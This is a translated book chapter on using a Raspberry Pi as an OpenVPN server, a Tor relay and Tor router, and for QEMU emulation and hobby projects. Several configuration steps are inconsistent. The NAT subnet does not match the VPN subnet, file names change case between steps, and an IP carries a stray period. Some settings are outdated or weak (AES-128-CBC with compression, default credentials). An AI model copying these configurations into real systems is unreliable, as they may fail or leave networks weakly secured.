server 10.8.0.0 255.255.255.0
# These are the server and remote endpoints
ifconfig 10.8.0.1 10.8.0.2
# This adds a route to Client routing table for the OpenVPN Server
push "route 10.8.0.1 255.255.255.255"
# This adds a route to Client routing table for the OpenVPN Subnet
push "route 10.8.0.0 255.255.255.0"
# This is your local subnet
push "route 192.168.2.0 255.255.255.0" # CHANGE THIS TO YOUR RASPBERRY PI IP ADDRESS
# Set primary domain name server address to the Router
push "dhcp-option DNS 8.8.8.8"
push "redirect-gateway def1"
client-to-client
duplicate-cn
keepalive 10 120
tls-auth /etc/openvpn/easy-rsa/keys/ta.key 0
cipher AES-128-CBC
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
status /var/log/openvpn-status.log 20
log /var/log/openvpn.log
verb 1
完成后按Ctrl + X保存。
-
现在,我们需要创建另一个文件来配置树莓派以转发 Internet 流量。为此,让我们使用
nano /etc/sysctl.conf
命令编辑一个名为sysctl.conf
的文件。查找接近顶部的一行,其中写着#取消注释下一行以启用 IPv4 的数据包转发并删除#,取消注释它。这将告诉树莓派转发 Internet 流量,而不仅仅是接收。按Ctrl + X保存更改。 -
接下来,输入
sysctl –p
以应用更改。sysctl
命令在运行时配置内核参数。 -
关于 VPN 的一切应该都已经准备就绪,但是 Raspbian 防火墙将阻止传入的连接。此外,当树莓派重新启动时,默认情况下 Raspbian 的防火墙配置会重置。我们需要使用脚本确保树莓派记住始终允许 OpenVPN 连接。使用
nano /etc/firewall-openvpn-rules.sh
命令打开一个空白的可执行文件。在文件中输入以下命令:
#!/bin/sh
iptables -t nat -A POSTROUTING -s 10.0.2.0/24 -o eth0 -j SNAT --to-source 192.168.X.X.
-
命令中的
10.0.2.0/24
是连接到 VPN 的树莓派客户端的默认地址。您需要将其更新为您的树莓派 IP 地址。请注意,脚本将eth0
接口指定为面向外部的接口。按Ctrl + X保存更改。 -
您需要通过更新
etc/firewall-openvpn-rules.sh
文件的权限和所有权将其更改为可执行文件。我们需要将模式更改为700
,意味着所有者可以读取、写入、执行,并将所有者更改为root
。执行以下命令:
chmod 700 /etc/firewall-Openvpn-rules.sh
chown root /etc/firewall-Openvpn-rules.sh
-
我们需要将此脚本放入接口设置代码中,以便在启动时运行。这将为 OpenVPN 打洞,使其正常运行。输入
nano /etc/network/interfaces
,查找声明iface eth0 inet dhcp
的行,并在该行下方缩进添加一行pre-up /etc/firewall-openvpn-rules.sh
。按Ctrl + X保存更改。 -
使用
sudo reboot
重新启动您的树莓派。
恭喜,您现在拥有一个完全功能的 VPN 集中器!
现在让我们下载一个 OpenVPN 客户端,并使用以下步骤重新连接到我们的树莓派 OpenVPN 服务器。有各种可用的 OpenVPN 客户端。我们实际上更喜欢来自 SparkLabs 的 Viscosity。
- 访问
www.sparklabs.com/viscosity/
下载 Viscosity 客户端。
注意
有许多可用的 OpenVPN 客户端,包括许多免费的客户端。其他客户端的步骤将类似。
以下截图显示了 Viscosity 客户端的首选项窗口:
-
安装客户端后,您需要添加一个新连接。输入 VPN 服务器的 IP 地址,以便客户端知道要连接到哪里。这是您的树莓派服务器的可达 IP 地址。以下屏幕截图显示了新连接窗口的常规选项卡:
-
接下来,点击认证选项卡。在下拉列表中,选择PKCS12。我们有不同的认证方案可用,但是,如果您记得我们设置系统时生成了客户端证书。我们可以简单地选择PKCS12证书并将其直接导入到我们的客户端。
注意
您需要返回到您的树莓派并导出您的客户端证书,以便在此步骤之前导入它。您可以简单地将客户端证书保存在 USB 驱动器上或通过电子邮件发送给自己。
以下屏幕截图显示了认证选项卡下的菜单:
- 现在,您可以单击保存,然后右键单击连接,并单击连接,如下图所示:
您现在已连接到您的 OpenVPN 服务器。
Tor 中继和路由器
Tor,有时被称为洋葱路由,用于通过一系列志愿节点和服务进行路由和伪装流量的匿名访问互联网。使用 Tor 可以使跟踪互联网使用变得困难。当您想要防御可能用于侵犯您的隐私的不必要的流量分析时,这是理想的选择。有关 Tor 的详细信息可以在www.torproject.org/
找到。
Tor 中继通过随机选择系统来用作通信的路径。端点通过使用特殊软件访问 Tor 网络,将流量推送到 Tor 网络中。以下图表显示了两个系统如何在 Tor 网络上来回通信的不同路径:
树莓派可以配置为 Tor 节点和 Tor 路由器。Tor 节点充当通过其他用户流量的系统,这意味着它是 Tor 网络的一部分,帮助其他人在访问互联网时保持匿名。Tor 路由器充当内部网络进入 Tor 网络的入口点,因此通过路由器上网的所有设备的流量都将通过 Tor 网络进行随机化。Tor 路由器取代了每个用户都运行特殊的 Tor 软件来访问 Tor 网络的需要,因为所有流量都通过路由器路由到 Tor。
让我们看看如何将树莓派变成 Tor 节点和 Tor 路由器。
树莓派 Tor
您可以将运行 Kali Linux 的树莓派变成 Tor 节点,以便参与 Tor 项目。
注意
运行 TOR 节点可能会有法律或道德约束和要求。我们建议您在运行 Tor 之前进行研究,以完全了解其含义。运行 TOR 节点可能意味着匿名用户将使用您的互联网连接进行可能的恶意或非法活动。此外,随着丝绸之路 2.0 的关闭和其他执法逮捕,Tor 的匿名性最近受到质疑。
如果您打算使用 Kali Linux 树莓派参与 Tor 网络,您需要使用以下步骤进行一些清理工作:
-
首先,关闭树莓派上运行的任何多余服务或应用程序。如果不确定,请从干净的安装开始,或者改用 Raspbian 发行版。
-
更改您的
root
密码。使用至少十二个字母数字字符。 -
我们将安装
sudo
软件包并添加tor
用户名。这样,您就不必使用root
用户名。我们还将更新和升级我们的软件;使用以下步骤:
apt-get install sudo
adduser tor
passwd tor
apt-get update
apt-get upgrade
- 我们还需要将
tor
帐户添加到sudoers
列表中。您可以通过编辑/etc/sudoers
文件来实现这一点。输入sudo visudo
命令,然后添加tor ALL=(ALL) ALL
行。
注意
visudo
命令是编辑sudoers
列表的传统和最常接受的方式。但是,在某些操作系统中,这个命令是不可用的。在这种情况下,您需要直接编辑sudoers
文件。您可以使用vi /etc/sudoers
命令来这样做。
以下屏幕截图显示了/etc/sudoers
文件:
树莓派 Tor
- 我们需要将 Kali Linux 的默认 DHCP 行为更改为静态地址。从技术上讲,我们可以保留 DHCP 地址,但很可能您需要设备上的静态地址。输入
ifconfig
命令以查看您的网络接口。您应该看到类似于下面屏幕截图所示的内容。记下这个:树莓派 Tor
您将编辑网络接口文件。我们将使用vi
,但您可以使用您喜欢的编辑器。使用sudo vi /etc/network/interfaces
命令。
查找类似于iface eth0 inet dhcp
的行,如下面的屏幕截图所示:
树莓派 Tor
您将把该行更改为静态地址。在我们的示例中,我们将更改为静态 IP10.0.1.167
,子网掩码为255.255.255.0
,默认网关为10.0.1.1
,使用以下命令:
iface eth0 inet static
address 10.0.1.167 <- chose an IP that fits to your network! This is only an example!
netmask 255.255.255.0 <- Apply the correct settings
network <- The IP network
broadcast <- enter the IP broadcast address
gateway 10.0.1.1 <- Enter your router or default gateway
以下屏幕截图显示了上述命令的启动:
树莓派 Tor
- 现在,让我们安装 Tor。输入
sudo apt-get install tor
命令。编辑/etc/tor/torrc
中的tor config
文件。您需要添加或更改配置以匹配以下行。如果配置文件中有多余的内容,也没关系。
添加或更改以下内容以匹配配置:
SocksPort 0
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
ORPort 9001
DirPort 9030
ExitPolicy reject *:*
Nickname xxx (you can chose whatever you like)
RelayBandwidthRate 100 KB # Throttle traffic to 100KB/s (800Kbps)
RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)
以下屏幕截图显示了sudo apt-get install tor
命令的启动:
树莓派 Tor
-
您需要确保从防火墙到树莓派的 TCP 端口 9030 和 9001 是打开的。您希望确保外部世界也可以联系到这些端口。您可能需要使用静态(或一对一)NAT 语句对树莓派进行网络地址转换(NAT)。如果您有家用路由器,有时称为非军事区(DMZ)或游戏端口。
-
重新启动系统。
-
现在,使用 CLI 中的
sudo /etc/init.d/tor restart
命令启动 Tor。检查 Tor 的log
文件以确保服务已启动。Tor 的log
文件位于/var/log/tor/log
中。您可以通过发出less /var/log/tor/log
命令来查看log
文件。查找条目Tor has successfully opened a circuit. Looks like client functionality is working。如果看到这个,您已经正确设置了系统。
此时,您很可能需要使用 Tor 客户端来连接 Tor 网络。有许多客户端适用于各种操作系统。以下是一些帮助您入门的链接:
-
Linux/Unix/BSD:
www.torproject.org/docs/tor-doc-unix.html.en
-
Debian/Ubuntu:
www.torproject.org/docs/debian.html.en
在这一点上,您已经拥有一个完全功能的 Tor 中继点和一个 Tor 客户端,可以访问 Tor 网络。配置产品时,除了终端上的一些信息和状态消息外,您不会看到太多内容。还有其他可用的视图,可以为您提供有关流量和节点参与状态的更多信息,您可以通过切换查看。
Tor 终端
Tor 路由器
前一节解释了树莓派 Tor 如何将树莓派变成 Tor 节点。您可以连接到节点,并且您的流量以及其他在 Tor 网络上的用户都可以匿名。要连接到节点,通常需要使用特殊软件。如果您想通过 Tor 运行整个网络,以便来自您网络的所有流量保持匿名,该怎么办?这可以通过将树莓派变成 Tor 路由器来实现。
例如,您可以让树莓派插入您的外部路由器并广播一个私有 SSID,用户可以连接到该 SSID,并通过 Tor 网络过滤其流量。这对于设置一个快速的移动热点非常理想,该热点可以使用 Tor 掩盖所有用户流量。
让我们看看如何使用以下步骤将树莓派配置为 Tor 路由器:
-
第一步是从
www.raspberrypi.org/downloads/
下载 Raspbian 的最新版本。在我们的情况下,最新版本是2014-09-09-wheezy-raspbian.img
。下载后,您需要解压该文件。 -
将 Raspbian 镜像安装到您将在 Raspberry Pi 上使用的 SD(microSD)卡上。我们在第一章中介绍了这个过程,树莓派和 Kali Linux 基础。我们的镜像命令如下:
sudo dd if=~/Desktop/2014-09-09-wheezy-raspbian.img of=/dev/disk1.
注意
您可以为此项目运行任何基于 Debain 的 Linux 系统。我们更喜欢使用 Kali Linux,但我们选择 Raspbian 的原因是因为 Kali Linux 有许多服务,如果没有关闭或正确配置,就可能被利用。
-
使用您在 microSD 上安装的 Raspbian 镜像启动您的 Raspberry Pi。Raspbian 的默认用户名和密码是
pi
和raspberry
。 -
当您登录 GUI 桌面时,在桌面上打开终端应用程序。输入
sudo apt-get update
命令,然后输入sudo apt-get upgrade
。 -
您需要安装 DHCP 服务器。这样做会导致错误,但请忽略它们。输入
sudo apt-get install vim tor hostapd isc-dhcp-server
命令。 -
接下来,您将使用您喜欢的编辑器编辑
/etc/dhcp/dhcpd.conf
文件。打开/etc/default/isc-dhcp-server
文件并转到最后一行。编辑INTERFACES
行,使其读取INTERFACES="wlan0"
。确保在配置中包含带有wlan0
的引号。 -
您需要编辑
wlan0
网络配置。使用您喜欢的编辑器更改/etc/network/interfaces
文件。转到wlan0
部分并为其提供静态 IP 地址。文件应如下所示:
iface wlan0 inet static
address 10.99.99.1
netmask 255.255.255.0
allow-hotplug wlan0
#iface wlan0 inet manual
#wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
#iface default inet dhcp
提示
请注意,我们正在注释掉一些旧的配置。最佳做法是这样做,而不是在需要恢复时删除它们。
- 接下来,我们将希望使用加密配置树莓派,以便我们的无线网络具有安全性。您需要创建一个名为
/etc/hostapd/hostapd.conf
的新文件。
注意
请注意,您需要确保您的无线网卡与hostapt.conf
兼容。如果不兼容,您将需要编译自己的版本,否则无法实现无线安全。Adafruit 的人员有一个与许多其他芯片组兼容的备用hostapd.conf
文件。您可以在www.adafruit.com/downloads/adafruit_hostapd.zip
找到它。
我们将为 WPA2-PSK 加密、DrChaos 的 SSID 和 Kali Raspberry 的密码配置我们的hostapd.conf
文件。当然,这些设置可以根据您的喜好进行更改。创建一个名为/etc/hostapd/hostapd.conf
的文件,或者从www.adafruit.com/downloads/adafruit_hostapd.zip
下载并将其放在/etc/hostapd
目录中。您可能需要以以下方式创建该目录:
interface=wlan0
driver=rt2800usb
ssid=DrChaos
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=KaliRaspberry
wpa_key_mgmt=WPA-PSK
DAEMON_CONF="/etc/hostapd/hostapd.conf"
注意
转到/sys/class/net/wlan0/device/driver/module/drivers
,查看文件的第一行使用的驱动程序。
打开/etc/sysctl.conf
文件,并取消net.ipv4.ip_forward=1
行的注释,使其生效。
- 通过输入以下命令打开 IP 转发:
echo 1 > /proc/sys/net/ipv4/ip_forward
- 接下来,我们将添加一些简单的iptable规则,将我们的数据从无线路由到互联网。
注意
以下的 iptables 规则非常宽松。在某些情况下,这些规则可能会暴露客户端的真实 IP 地址。如果您想增加额外的安全层,那么跳过第 16 步(或将 echo 从1
改回0
),并明确说明您将允许哪些连接。
在 iptables 中添加以下命令:
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j REDIRECT --to-ports 22
iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53
iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040
iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables-save > /etc/iptables.ipv4.nat
下面的屏幕截图显示我们的数据通过iptables
进行路由:
- 接下来,您需要以以下方式编辑
/etc/tor/torrc
文件:
Log notice file /var/log/tor_notices.log
VirtualAddrNetwork 10.99.0.0/10
AutomapHostsSuffixes .onion,.exit
AutomapHostsOnResolve 1
TransPort 9040
TransListenAddress 10.99.99.1
DNSPort 53
DNSListenAddress 10.99.99.1
现在,您可以将树莓派上的有线连接插入到互联网中。此时,您的无线用户将能够连接到 DrChaos SSID,使用 Kali Raspberry 的密码进行连接。所有流量将通过 Tor 网络进行传输。
打开一个网页浏览器,转到check.torproject.org/
,你将收到一条消息,显示你是否在 Tor 网络上,如下面的屏幕截图所示:
在 PC 上使用 QEMU 模拟器运行树莓派
你可能已经注意到这本书中有各种图片和屏幕截图。这是因为在写这本书时,我们不断地改变不同的操作系统,拍摄屏幕截图,测试不同的适配器,并安装各种软件程序。在某些情况下,我们从 PC 远程登录到树莓派,而在其他情况下,我们使用了 X-Windows 客户端。有时,我们甚至用相机拍摄屏幕的照片,因为树莓派的输出显示在一个不提供屏幕截图的显示器上。在考虑到所有这些变化的情况下,我们发现 QEMU 是一个非常有价值的工具。
Quick EMUlator (QEMU)是一个模拟器,可以模拟许多不同的处理器和加载许多不同的操作系统。我们模拟了树莓派中基于 ARM 的处理器,并成功地加载和运行了多个操作系统,就像在真正的树莓派上一样。模拟并非没有问题。有时,即使在真正的树莓派硬件上完全没有问题,操作系统也可能无法加载或出现性能问题、崩溃、停止工作等。我们发现,使用这个应用程序节省的时间超过了模拟带来的问题。
让我们看看如何使用以下步骤安装 QEMU 模拟器:
- 第一步是前往
qemu.weilnetz.de/
并下载 Windows 版的 QEMU 模拟器,如下面的屏幕截图所示:
还有一个 Linux 版本,以及使用 Homebrew 和 XTools 的 Mac OS X 版本,可以实现相同的功能。我们将展示 PC 版本作为下一个示例。我们发现 Windows 版本最容易安装,Linux 版本最可靠,Mac 版本有点难以使用和正确安装。你的情况可能有所不同。
-
选择适当的版本(64 位或 32 位)。下载正确的版本后,运行
install exe
文件。你会发现在大多数情况下,PC(i386)系统仿真没有被选中。确保你选择了这个选项。注意 QEMU 的默认安装目录。在大多数情况下,它是C:\Program Files\qemu
。不要改变它。 -
如果你还没有下载适当的树莓派镜像,现在应该去做。你可以使用 Kali Linux ARM 镜像,或者你可以下载任何兼容的镜像。我们将使用可以在
www.raspberrypi.org/downloads/
下载的 Raspbian 操作系统。 -
接下来,你需要下载 Linux QEMU 的
kernel
文件。你可以通过访问xecdesign.com/downloads/linux-qemu/kernel-qemu
来下载。一旦你下载了内核,将它放在刚刚解压的 QEMU 文件夹的同一个目录中。 -
在解压 IMG 文件并将其放在与 QEMU 相同的目录之后,你需要运行它。转到 DOS 提示符并导航到
c:\Program Files\qemu
。 -
你将使用以下命令启动 Raspbian 镜像系统(或任何树莓派镜像系统):
qemu-system-armw.exe -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash" -hda raspbian.img
注意
请注意,qemu-system-armw.exe
用于 Windows 环境。所有其他环境将使用qemu-system-arm.exe
。最后一个命令加载操作系统。使用你放在与 QEMU 相同文件夹中的未压缩操作系统的确切名称。在你给出命令后,QEMU 启动可能需要几分钟。有报道称,QEMU 在 Windows 8/8.1 或 Mac OS X Yosemite(10.10)上工作不好。
- 命令的第一部分启动了特定处理器的仿真器。命令的第二部分指定了磁盘映像文件。注意,我们将镜像从
2014-09-09-wheezy-raspbian.img
重命名为raspbian.img
,只是为了让我们的生活更轻松。在指定要启动的内容时,不要忘记使用你的扩展名。
启动 QEMU
你的树莓派操作系统(在我们的例子中是 Raspbian)将在一个 QEMU 窗口中启动。你现在可以与操作系统交互并测试不同的应用程序和工具。此外,QEMU 文档还有关于多个仿真器之间的网络高级配置选项,映射到物理硬件设备以及其他高级配置。在大多数情况下,仿真器将完美地工作来测试典型的应用程序和连接。
其他树莓派用途
这本书侧重于使用树莓派作为交付渗透测试能力的手段。除了黑客攻击之外,还有很多其他用例,比如防止攻击,或者更不严肃地玩游戏。查看位于www.raspberrypi.org/
的主要树莓派网站获取更多信息。
以下是我们发现对树莓派有益的一些其他软件选项。
使用 PiAware 进行飞行跟踪
你可以使用你的树莓派和 FlightAware(www.flightaware.com)来构建一个自动相关监视广播(ADS-B)系统。ADS-B 是一种合作飞机监视技术,由世界各地的空中交通管制机构使用,它通过卫星和其他导航系统确定飞机的位置。飞机定期广播它们的 ADS-B 位置,使其可以被跟踪。
FlightAware 拥有大量自己的接收器,但邀请航空爱好者跟踪航空公司数据并帮助 FlightAware 处理数据,以便可以在他们的网站上为整个社区使用。PiAware 是一个工具,可以将你的树莓派变成一个雷达跟踪系统,FlightAware 可以使用。下面的图片显示了一个为此目的而构建的树莓派:
要开始这个项目,你需要下载 PiAware 操作系统并安装到你的树莓派上。请参考本书的第一章,树莓派和 Kali Linux 基础,了解如何在树莓派的 microSD 卡上安装操作系统。PiAware 可以在piaware.flightcdn.com/piaware-sd-card-1.16.img.zip
找到。
在使用 PiAware 操作系统启动树莓派后,你需要将 ADS-B USB 接收器插入树莓派。我们推荐在美国购买价格约为 22 美元的 NooElec NESDR Mini USB RTL-SDR & ADS-B 接收器套装。以下图片显示了 NooElec NESDR Mini:
飞机信号不应通过建筑物传递,所以你应该把天线放在室外,以便飞机能够获得最佳信号的视线范围内。你需要在flightaware.com/account/join/?referer=/account/join/
注册一个免费的 FlightAware 账户。你的数据将由 FlightAware 处理,并在 30 分钟后可以在flightaware.com/adsb/stats
上查看。
恭喜,你现在有一个可用的系统!
一个完全可操作的飞行跟踪器
PiPlay
本书侧重于渗透测试和其他安全需求,但我们想添加一个很酷的 ARM 镜像,将你的树莓派变成一个游戏系统。这包括许多流行游戏系统的模拟器,如 PlayStation、Game Boy、超级任天堂娱乐系统(SNES)、NES、Atari 等。你可以在blog.sheasilverman.com/pimame-raspberry-pi-os-download/
找到更多信息。
要安装 PiPlay,使用与 Kali Linux 相同的过程。例如,我使用sudo dd if=piplay-0.8-beta6.img of=/dev/disk2
来在我的 microSD 卡上的disk2
空间安装 0.8 测试版镜像。安装完成后,你只需启动安装了PiPlay镜像的树莓派,它应该会启动到主 GUI,如下截图所示:
如果你点击箭头,你会找到其他游戏系统和配置选项的附加菜单选项。以下截图显示了第二个菜单:
一旦 PiPlay 启动,你会想要做的第一件事就是寻找更新。你可以通过点击菜单中的大箭头到显示更新 PiPlay选项的第三个屏幕来做到这一点。你必须在线才能这样做,所以你可以插入以太网电缆,或者使用设置无线按钮在寻找更新之前建立无线连接。如果你在线,你会在主菜单的右上角看到你的 IP 地址。以下截图显示了第三个菜单屏幕和我的 PiPlay 连接到互联网,右上角显示 IP 地址。之前的截图在这个位置显示无网络连接。
如果你点击像 SNES 这样的操作系统,你会发现你没有任何游戏。你可以在网上找到大量的 ROM 格式的游戏文件。
注意
下载 ROM 或制作备份副本可能会违反版权或其他法律。ROM 有许多来源,其中一些是作者创建的原始游戏,可以免费或以名义费用分发。ROM 的副本通常通过网站、usenet 新闻组和点对点类型的网络分发。
PiPlay 使安装 ROM 变得非常容易,内置了一些刮刀应用程序。就是这样。下载一个 ROM,使用刮刀应用程序安装 ROM,识别添加到系统中的 ROM,然后就可以使用了。以下屏幕截图显示了一个名为 Cave Story 的游戏的启动屏幕,该游戏包含在 PiPlay 安装的镜像中:
PrivateEyePi
PrivateEyePi 是一个家庭自动化和安全系统,是开源的,可以利用运动检测器、摄像头、热签名、红外线和夜视。它可以通过简单的网络界面或定制的移动应用程序进行监控和管理。以下图显示了Home Monitor系统的详细描述:
由于系统有许多不同的选项,可能会变得过于复杂,我们不会详细介绍如何配置它。名为 Gadjet 的作者已经记录了整个过程,包括零件、在哪里购买以及如何一步一步地安装它们的说明,网址为sites.google.com/site/gadjetnut/home/home-alarm-system-project
。
以下图显示了由Home Monitor系统触发的警报:
构建所有部件需要一些基本的低电压经验,或者你可以购买许多预先构建好的部件。我们听到了一些关于这个项目的担忧。这些担忧主要集中在这作为一个安全系统的可靠性以及经济是否合理,因为基本的报警系统成本大约相同。然而,我们相信这可能是一个很好的团队、课堂或者业余项目。此外,定制和扩展系统的选项可能比任何主要商业供应商提供的任何东西都要多。
更多用途
树莓派有许多其他用途,远远超出了我们没有涉及的安全范围。我们最喜欢的一些用途包括OpenELEC(Open Embedded Linux Entertainment Center的缩写),可以将您的树莓派变成家庭媒体中心。其他用途包括构建运动传感器、地震检测器、气体检测器等等。我们希望通过结束本章,你会受到启发,以新的、有益的方式使用你的树莓派。
总结
本章提供了使用树莓派的其他工具和用例。我们简要介绍了一些替代 Kali Linux 的渗透测试武器库,但认为 Kali Linux 应该基于其在 IT 社区中的流行度而进行最多的创新。我们还提到了可以用于防御目的的 ARM 镜像,如防火墙、IPS/IDS 和 VPN。最后,我们介绍了一些有趣的 ARM 镜像,虽然不一定与安全相关,但无论如何都很酷。
这就结束了这本书。希望你喜欢阅读。我们很乐意听到你的想法。欢迎访问我们各自的博客并分享你的想法。Aamir Lakhani 的网址是www.drchaos.com,Joseph Muniz 的网址是www.thesecurityblogger.com。我们非常享受讨论的主题,并祝愿你在使用树莓派的经历中一切顺利。这包括那些希望运用这些新知识做好事或者做坏事的人。Aamir 真的很想用蜘蛛侠的责任报告结束。所以尽管 Joseph 建议不要,这里还是有:"伟大的力量带来伟大的责任"。玩得开心,愉快的黑客活动!